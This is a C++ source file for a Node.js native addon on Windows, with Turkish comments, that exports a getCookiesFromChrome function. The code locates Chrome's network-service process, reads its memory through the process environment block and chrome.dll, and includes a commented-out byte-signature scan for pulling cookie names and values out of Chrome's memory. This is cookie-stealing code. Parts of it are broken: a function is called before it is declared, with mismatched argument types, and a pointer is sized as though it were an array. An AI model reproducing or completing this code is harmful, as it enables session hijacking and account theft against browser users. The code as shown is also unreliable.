#include <assert.h>
#include <node_api.h>
#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
#include <psapi.h>
#include <vector>
#include <winternl.h>

#include <format>

#define DECLARE_NAPI_METHOD(name, func) \
    {                                   \
        name, 0, func, 0, 0, 0, napi_default, 0}

#define MAX_NAME 256

typedef enum _PROCESSINFOCLASS {
    ProcessBasicInformation,
    ProcessQuotaLimits,
    ProcessIoCounters,
    ProcessVmCounters,
    ProcessTimes,
    ProcessBasePriority,
    ProcessRaisePriority,
    ProcessDebugPort,
    ProcessExceptionPort,
    ProcessAccessToken,
    ProcessLdtInformation,
    ProcessLdtSize,
    ProcessDefaultHardErrorMode,
    ProcessIoPortHandlers,		  // Note: this is kernel mode only
    ProcessPooledUsageAndLimits,
    ProcessWorkingSetWatch,
    ProcessUserModeIOPL,
    ProcessEnableAlignmentFaultFixup,
    ProcessPriorityClass,
    ProcessWx86Information,
    ProcessHandleCount,
    ProcessAffinityMask,
    ProcessPriorityBoost,
    ProcessDeviceMap,
    ProcessSessionInformation,
    ProcessForegroundInformation,
    ProcessWow64Information,
    ProcessImageFileName,
    ProcessLUIDDeviceMapsEnabled,
    ProcessBreakOnTermination,
    ProcessDebugObjectHandle,
    ProcessDebugFlags,
    ProcessHandleTracing,
    ProcessIoPriority,
    ProcessExecuteFlags,
    ProcessTlsInformation,
    ProcessCookie,
    ProcessImageInformation,
    ProcessCycleTime,
    ProcessPagePriority,
    ProcessInstrumentationCallback,
    ProcessThreadStackAllocation,
    ProcessWorkingSetWatchEx,
    ProcessImageFileNameWin32,
    ProcessImageFileMapping,
    ProcessAffinityUpdateMode,
    ProcessMemoryAllocationMode,
    ProcessGroupInformation,
    ProcessTokenVirtualizationEnabled,
    ProcessConsoleHostProcess,
    ProcessWindowInformation,
    MaxProcessInfoClass			 // MaxProcessInfoClass should always be the last enum
} PROCESSINFOCLASS;

struct OptimizedString
{
    char buf[23];
    UCHAR len;
};

enum class CookieSameSite
{
    UNSPECIFIED = -1,
    NO_RESTRICTION = 0,
    LAX_MODE = 1,
    STRICT_MODE = 2,
    kMaxValue = STRICT_MODE
};

enum class CookieSourceScheme
{
    kUnset = 0,
    kNonSecure = 1,
    kSecure = 2,
    kMaxValue = kSecure
};

struct CookieChrome
{
    OptimizedString name;
    OptimizedString domain;
    OptimizedString path;
    int64_t creation_date;
    bool secure;
    bool httponly;
    CookieSameSite same_site;
    CookieSourceScheme source_scheme;
    OptimizedString value;
    int64_t expiry_date;
    int64_t last_access_date;
    int64_t last_update_date;
};

typedef NTSTATUS(NTAPI* NtQueryInformationProcess)(
    IN  HANDLE ProcessHandle,
    IN  PROCESSINFOCLASS ProcessInformationClass,
    OUT PVOID ProcessInformation,
    IN  ULONG ProcessInformationLength,
    OUT PULONG ReturnLength OPTIONAL
    );

bool MyMemCmp(const BYTE *p1, const BYTE *p2, size_t size)
{
    for (size_t i = 0; i < size; ++i)
    {
        if (p1[i] != p2[i])
        {
            return false;
        }
    }
    return true;
}

void DebugPrintErrorWithMessage(const wchar_t *message)
{
    wprintf(L"Error: %s\n", message);
}

void ConvertToByteArray(uintptr_t value, BYTE* byteArray, size_t size) {
    for (size_t i = 0; i < size; ++i) {
        byteArray[i] = static_cast<BYTE>(value & 0xFF);
        value >>= 8;
    }
}

wchar_t* GetLastErrorAsString() {

    DWORD dwError = GetLastError();
    if (dwError == 0) {
        return (wchar_t*)L"";
    }

    LPWSTR messageBuffer = NULL;

    size_t size = FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL, dwError, LANG_NEUTRAL, (LPWSTR)&messageBuffer, 0, NULL);

    if (size > 0)
        return messageBuffer;

    return (wchar_t*)L"";
}
wchar_t* GetErrorString(IN DWORD dwError) {
    if (dwError == 0) {
        return (wchar_t*)L"";
    }

    LPWSTR messageBuffer = NULL;

    size_t size = FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL, dwError, LANG_NEUTRAL, (LPWSTR)&messageBuffer, 0, NULL);

    if (size > 0)
        return messageBuffer;

    return (wchar_t*)L"";
}

// BOOL GetTokenUser(IN HANDLE hProcess) {

// 	HANDLE hToken = NULL;
// 	if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken))
// 	{
// 		DEBUG_PRINT_ERROR_MESSAGE(L"GetTokenUser OpenProcessToken failed!");
// 		return FALSE;
// 	}

// 	PTOKEN_USER hTokenUser = { 0 };
// 	DWORD dwSize = 0;

// 	if (!GetTokenInformation(hToken, TokenUser, NULL, 0, &dwSize)) {
// 		DWORD dwError = GetLastError();
// 		if (dwError != ERROR_INSUFFICIENT_BUFFER) {
// 			DEBUG_PRINT_ERROR_MESSAGE(L"GetTokenUser GetTokenInformation querying buffer size failed!");
// 			return FALSE;
// 		}
// 	}

// 	hTokenUser = (PTOKEN_USER)malloc(dwSize);

// 	if (!GetTokenInformation(hToken, TokenUser, hTokenUser, dwSize, &dwSize)) {
// 		DEBUG_PRINT_ERROR_MESSAGE(L"GetTokenUser GetTokenInformation failed!");
// 		free(hTokenUser);
// 		return FALSE;
// 	}

// 	if (hTokenUser == NULL) {
// 		free(hTokenUser);
// 		return FALSE;
// 	}

// 	wchar_t* UserName = new wchar_t[MAX_NAME];
// 	UserName[0] = L'\0';
// 	wchar_t* DomainName = new wchar_t[MAX_NAME];
// 	DomainName[0] = L'\0';

// 	DWORD dwMaxUserName = MAX_NAME;
// 	DWORD dwMaxDomainName = MAX_NAME;
// 	SID_NAME_USE SidUser = SidTypeUser;
// 	if (!LookupAccountSidW(NULL, hTokenUser->User.Sid, UserName, &dwMaxUserName, DomainName, &dwMaxDomainName, &SidUser)) {
// 		DEBUG_PRINT_ERROR_MESSAGE(L"GetTokenUser LookupAccountSidW failed!");
// 		free(hTokenUser);
// 		return FALSE;
// 	}

// 	wprintf(DomainName);
// 	wprintf(L"\\");
// 	wprintf(UserName);

// 	free(hTokenUser);
// 	delete[] UserName;
// 	delete[] DomainName;
// 	return TRUE;
// }

BOOL GetTokenUser(IN HANDLE hProcess) {
    HANDLE hToken = NULL;
    if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) {
        DebugPrintErrorWithMessage(L"GetTokenUser OpenProcessToken failed!");
        return FALSE;
    }

    PTOKEN_USER hTokenUser = nullptr;
    DWORD dwSize = 0;

    if (!GetTokenInformation(hToken, TokenUser, NULL, 0, &dwSize)) {
        DWORD dwError = GetLastError();
        if (dwError != ERROR_INSUFFICIENT_BUFFER) {
            DebugPrintErrorWithMessage(L"GetTokenUser GetTokenInformation querying buffer size failed!");
            CloseHandle(hToken);
            return FALSE;
        }
    }

    hTokenUser = (PTOKEN_USER)malloc(dwSize);

    if (!GetTokenInformation(hToken, TokenUser, hTokenUser, dwSize, &dwSize)) {
        DebugPrintErrorWithMessage(L"GetTokenUser GetTokenInformation failed!");
        free(hTokenUser);
        CloseHandle(hToken);
        return FALSE;
    }

    wchar_t UserName[MAX_NAME] = { 0 };
    wchar_t DomainName[MAX_NAME] = { 0 };
    DWORD dwMaxUserName = MAX_NAME;
    DWORD dwMaxDomainName = MAX_NAME;
    SID_NAME_USE SidUser = SidTypeUser;

    if (!LookupAccountSidW(NULL, hTokenUser->User.Sid, UserName, &dwMaxUserName, DomainName, &dwMaxDomainName, &SidUser)) {
        DebugPrintErrorWithMessage(L"GetTokenUser LookupAccountSidW failed!");
        free(hTokenUser);
        CloseHandle(hToken);
        return FALSE;
    }

    wprintf(L"User: %s\\%s\n", DomainName, UserName);
    free(hTokenUser);
    CloseHandle(hToken);
    return TRUE;
}

BOOL ReadRemoteProcessPEB(IN HANDLE hProcess, OUT PEB* peb) {

    HMODULE hNtDll = LoadLibrary(L"ntdll.dll");
    if (hNtDll == NULL || hNtDll == INVALID_HANDLE_VALUE) {
        DebugPrintErrorWithMessage(L"LoadLibrary could not load ntdll");
        return FALSE;
    }
    
    NtQueryInformationProcess pNtQueryInformationProcess = (NtQueryInformationProcess)GetProcAddress(hNtDll, "NtQueryInformationProcess");

    PROCESS_BASIC_INFORMATION processInfo{ 0 };
    ULONG szInfo = 0;

    if (SUCCEEDED(pNtQueryInformationProcess(hProcess, ProcessBasicInformation, &processInfo, sizeof(PROCESS_BASIC_INFORMATION), &szInfo))
        && szInfo == sizeof(PROCESS_BASIC_INFORMATION)
        && processInfo.PebBaseAddress) {

        size_t szPEB = 0;

        if (!ReadProcessMemory(hProcess, processInfo.PebBaseAddress, peb, sizeof(PEB), &szPEB) || szPEB < sizeof(PEB)) {
            DebugPrintErrorWithMessage(L"Failed to read Chrome PEB");
            return FALSE;
        }
        else
            return TRUE;
    }
    else
    {
        DebugPrintErrorWithMessage(L"ProcessBasicInformation failed");
        return FALSE;
    }

    return FALSE;
}

BOOL ReadPEBProcessParameters(HANDLE hProcess, PEB* peb, WCHAR** args) {

    UNICODE_STRING commandLine;
    if (!ReadProcessMemory(hProcess, &peb->ProcessParameters->CommandLine, &commandLine, sizeof(commandLine), NULL))
    {
        DebugPrintErrorWithMessage(L"Could not read CommandLine!\n");
        return FALSE;
    }

    *args = (WCHAR*)malloc(commandLine.MaximumLength);
    if (*args != 0 && !ReadProcessMemory(hProcess, commandLine.Buffer, *args, commandLine.MaximumLength, NULL))
    {
        DebugPrintErrorWithMessage(L"Could not read the command line string!\n");
        free(*args);
        return FALSE;
    }

    return TRUE;
}

BOOL GetRemoteModuleBaseAddress(HANDLE hProcess, const wchar_t *moduleName, uintptr_t &baseAddress, DWORD *moduleSize)
{
    size_t szModules = sizeof(HMODULE) * 1024; // Yeterince büyük
    HMODULE *hModules = (HMODULE *)malloc(szModules);
    DWORD cbNeeded;

    if (hModules == nullptr || !EnumProcessModulesEx(hProcess, hModules, szModules, &cbNeeded, LIST_MODULES_ALL))
    {
        DebugPrintErrorWithMessage(L"EnumProcessModulesEx failed");
        free(hModules);
        return FALSE;
    }

    for (int i = 0; i < (cbNeeded / sizeof(HMODULE)); ++i)
    {
        wchar_t szModuleName[MAX_PATH];
        if (GetModuleBaseNameW(hProcess, hModules[i], szModuleName, sizeof(szModuleName) / sizeof(wchar_t)) == 0)
        {
            DebugPrintErrorWithMessage(L"GetModuleBaseName failed");
            continue;
        }
        if (_wcsicmp(szModuleName, moduleName) == 0)
        {
            MODULEINFO moduleInfo;
            if (!GetModuleInformation(hProcess, hModules[i], &moduleInfo, sizeof(moduleInfo)))
            {
                DebugPrintErrorWithMessage(L"GetModuleInformation failed");
                free(hModules);
                return FALSE;
            }
            baseAddress = reinterpret_cast<uintptr_t>(moduleInfo.lpBaseOfDll);
            *moduleSize = moduleInfo.SizeOfImage;
            free(hModules);
            return TRUE;
        }
    }
    free(hModules);
    return FALSE;
}

BOOL FindDllPattern(HANDLE hProcess, const BYTE *pattern, size_t patternSize, uintptr_t moduleAddr, DWORD moduleSize, uintptr_t &resultAddress)
{
    BYTE *buffer = new BYTE[moduleSize];
    SIZE_T bytesRead;

    BOOL result = ReadProcessMemory(hProcess, reinterpret_cast<LPCVOID>(moduleAddr), buffer, moduleSize, &bytesRead);
    DWORD error = GetLastError();

    if (result || error == 299)
    { // It is fine if not all was read
        for (size_t i = 0; i <= bytesRead - patternSize; ++i)
        {
            if (MyMemCmp(buffer + i, pattern, patternSize))
            {
                resultAddress = moduleAddr + i;
                delete[] buffer;
                return TRUE;
            }
        }
    }
    else
    {
        DebugPrintErrorWithMessage(L"ReadProcessMemory failed\n");
    }
    delete[] buffer;
    return FALSE;
}

static napi_value GetCookiesFromChrome(napi_env env, napi_callback_info info)
{
    napi_value processId;
    napi_create_uint32(env, 1234, &processId); // Geçici bir değer

    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    DWORD chromePid = 0;

    if (Process32First(snapshot, &entry) == TRUE)
    {
        while (Process32Next(snapshot, &entry) == TRUE)
        {
            if (strcmp(entry.szExeFile, "chrome.exe") == 0)
            {
                chromePid = entry.th32ProcessID;
                break;
            }
        }
    }
    CloseHandle(snapshot);

    if (chromePid == 0)
    {
        napi_value undefined;
        napi_get_undefined(env, &undefined);
        return undefined;
    }

    HANDLE hChrome = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, chromePid);
    if (hChrome == NULL)
    {
        napi_value undefined;
        napi_get_undefined(env, &undefined);
        return undefined;
    }

    uintptr_t baseAddress = 0;
    DWORD moduleSize = 0;
    if (!GetRemoteModuleBaseAddress(hChrome, L"chrome.dll", baseAddress, &moduleSize))
    {
        printf("Chrome modülü bulunamadı.\n");
        CloseHandle(hChrome);
        return processId;
    }

    printf("Chrome modül temel adresi: 0x%p\n", (void *)baseAddress);

    if (!FindCorrectProcessPID("chrome.exe", &processId, &hChrome) || hChrome == NULL)
    {
        printf("[-] Failed to find right process\n");
        return processId;
    }

    /*const BYTE* pattern = new BYTE[144]{
        0x56, 0x57, 0x48, 0x83, 0xEC, 0x28, 0x89, 0xD7, 0x48, 0x89, 0xCE, 0xE8, 0xAA, 0xAA, 0xFF, 0xFF,
            0x85, 0xFF, 0x74, 0x08, 0x48, 0x89, 0xF1, 0xE8, 0xAA, 0xAA, 0xAA, 0xAA, 0x48, 0x89, 0xF0, 0x48,
            0x83, 0xC4, 0x28, 0x5F, 0x5E, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
            0x56, 0x57, 0x48, 0x83, 0xEC, 0xAA, 0x48, 0x89, 0xAA, 0x48, 0x8B, 0x05, 0xAA, 0xAA, 0xAA, 0xAA,
            0x48, 0x31, 0xE0, 0x48, 0x89, 0x44, 0x24, 0x30, 0x48, 0x8D, 0x79, 0xAA, 0xAA, 0xAA, 0xAA, 0x28,
            0xE8, 0xAA, 0xAA, 0xAA, 0xF8, 0x48, 0x8B, 0x46, 0x20, 0x48, 0x8B, 0x4E, 0x28, 0x48, 0x8B, 0x96,
            0x50, 0x01, 0x00, 0x00, 0x4C, 0x8D, 0x44, 0x24, 0x28, 0x49, 0x89, 0x10, 0x48, 0xC7, 0x86, 0x50,
            0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0xFA, 0xFF, 0x15, 0xAA, 0xAA, 0xAA, 0xAA,
            0x48, 0x8B, 0x4C, 0x24, 0x30, 0x48, 0x31, 0xE1, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA
    };

    uintptr_t foundAddress = 0;
    if (FindDllPattern(hChrome, pattern, sizeof(pattern), baseAddress, moduleSize, foundAddress)) {
        printf("Pattern found: 0x%p\n", (void*)foundAddress);

        CookieChrome cookie;
        SIZE_T bytesRead;
        if (ReadProcessMemory(hChrome, (LPCVOID)foundAddress, &cookie, sizeof(CookieChrome), &bytesRead)) {
            printf("Cookie name: %.*s\n", cookie.name.len, cookie.name.buf);
            printf("Cookie value: %.*s\n", cookie.value.len, cookie.value.buf);
        } else {
            printf("Memory read failed.\n");
        }
    } else {
        printf("No pattern found.\n");
    }*/

    CloseHandle(hChrome);
    return processId;
}

BOOL FindCorrectProcessPID(LPCWSTR processName, DWORD *pid, HANDLE *hProcess)
{
    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE)
    {
        DebugPrintErrorWithMessage(L"CreateToolhelp32Snapshot failed");
        return FALSE;
    }

    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (!Process32First(hProcessSnap, &pe32))
    {
        DebugPrintErrorWithMessage(L"Process32First failed");
        CloseHandle(hProcessSnap);
        return (FALSE);
    }

    // Target Chrome process has the following flag, this is how we find the right PID
    //--utility-sub-type=network.mojom.NetworkService
    const WCHAR *flags = L"--utility-sub-type=network.mojom.NetworkService";

    do
    {
        if (wcscmp(pe32.szExeFile, processName) == 0)
        {
            PEB peb = {0};
            HANDLE hHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID);
            if (ReadRemoteProcessPEB(hHandle, &peb))
            {
                WCHAR *commandLine{0};
                if (ReadPEBProcessParameters(hHandle, &peb, &commandLine) && &commandLine != 0)
                {
                    if (wcsstr(commandLine, flags) != 0)
                    {
                        printf("[+] Found browser process: %d\n", pe32.th32ProcessID);
                        printf("    Process owner: ");
                        GetTokenUser(hHandle);
                        printf("\n\n");

                        *pid = pe32.th32ProcessID;
                        *hProcess = hHandle;
                        free(commandLine);
                        CloseHandle(hProcessSnap);
                        return TRUE;
                    }
                    free(commandLine);
                }
            }
            CloseHandle(hHandle);
        }

    } while (Process32Next(hProcessSnap, &pe32));

    CloseHandle(hProcessSnap);
    return FALSE;
}

static napi_value GetProcessId(napi_env env, napi_callback_info info)
{
    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (Process32First(snapshot, &entry) == TRUE)
    {
        while (Process32Next(snapshot, &entry) == TRUE)
        {
            if (strcmp(entry.szExeFile, "chrome.exe") == 0)
            {
                napi_value processId;
                napi_create_uint32(env, entry.th32ProcessID, &processId);
                CloseHandle(snapshot); // Snapshot'ı kapat
                return processId;
            }
        }
    }

    CloseHandle(snapshot); // Snapshot'ı kapat
    napi_value undefined;
    napi_get_undefined(env, &undefined);
    return undefined; // Eğer Chrome bulunamazsa undefined döner
}

napi_value Init(napi_env env, napi_value exports)
{
    napi_status status;

    // Metot tanımlamaları
    napi_property_descriptor pidDescriptor = DECLARE_NAPI_METHOD("getProcessId", GetProcessId);
    napi_property_descriptor cookieDescriptor = DECLARE_NAPI_METHOD("getCookiesFromChrome", GetCookiesFromChrome);

    // Property descriptor dizisi
    napi_property_descriptor properties[] = {pidDescriptor, cookieDescriptor};

    // Metotları dışa aktarma
    status = napi_define_properties(env, exports, sizeof(properties) / sizeof(properties[0]), properties);
    assert(status == napi_ok);

    return exports;
}

NAPI_MODULE(NODE_GYP_MODULE_NAME, Init)